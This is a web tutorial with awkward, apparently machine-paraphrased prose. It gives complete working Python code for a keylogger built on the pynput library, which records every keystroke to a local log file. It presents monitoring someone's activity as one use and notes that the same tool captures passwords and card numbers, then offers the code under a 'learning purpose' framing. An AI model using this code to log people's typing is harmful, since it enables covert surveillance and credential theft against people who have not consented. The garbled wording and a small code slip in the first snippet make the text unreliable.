How to make a keylogger in Python
A keylogger is a sort of screening technology used to screen and record every keystroke composed on a particular PC's keyboard. In this exercise, you will figure out how to compose a distant keylogger using Python.
May be question raise in your mind that why the keylogger is so useful. By using this, we can monitor someone activities on the Internet. Keyloggers are utilized in IT associations to investigate specialized issues with PCs and business organizations. At the point when a hacker utilizes this for dishonest purposes, they can enroll all that you type on the keyboard, including your credentials (Visa numbers, passwords, and so on). The objective of this instructional exercise is to make you mindful of these sort of contents just as figuring out how to actualize such tutorial all alone for learning purpose.
The pynput package allows you to control and monitor input devices. It contains sub-packages for each type of supported input devices. To make a keylogger in Python, first we need to install pynput package.
Once this is installed, create a python file and import the required package and module at the top. To monitor keyboard, we need the key and a listener method of pynput.keyboard module.
from pynput.keyboard import Key, Listener import logging
We have imported the logging module, so that we can store all the logs in a file. Next, we need to set the logging path to store all the key logs and set up the basic configuration as shown below -
log_dir = r"C:/keylogger/" logging.basicConfig(filename = (log_dir + "keylog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
Then, we have defined a function that's called when a key is pressed -
def on_press(key): logging.info(str(key))
Next, we have created an instance of the listener and joined the listener thread to the main thread to keep waiting for the keys. The Listener class is a thread which implies when it has joined to the main thread no code will be executed after the .join() until the Listener is halted.
with Listener(on_press=on_press) as listener: listener.join
Complete Code: Keylogger in Python
On merging the above mentioned code, we are in a phase to make our final program to make a keylogger −
from pynput.keyboard import Key, Listener import logging dir_log = r"C:/keylogger/" logging.basicConfig(filename = (dir_log + "keylog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
While the script is running, attempt to open a text file or browser and type something. You can see a text file "keylog.txt" created in the specified directory with logs.
Related ArticlesVader Sentiment Analysis Python
Python YouTube Downloader Script
Python project ideas for beginners
Pandas string to datetime
Fillna Pandas Example
How to generate QR Code in Python using PyQRCode
OpenCV and OCR Python
PHP code to send SMS to mobile from website
Fibonacci Series Program in Python
Python File Handler - Create, Read, Write, Access, Lock File
Python convert XML to JSON
Python convert xml to dict
Python convert dict to xml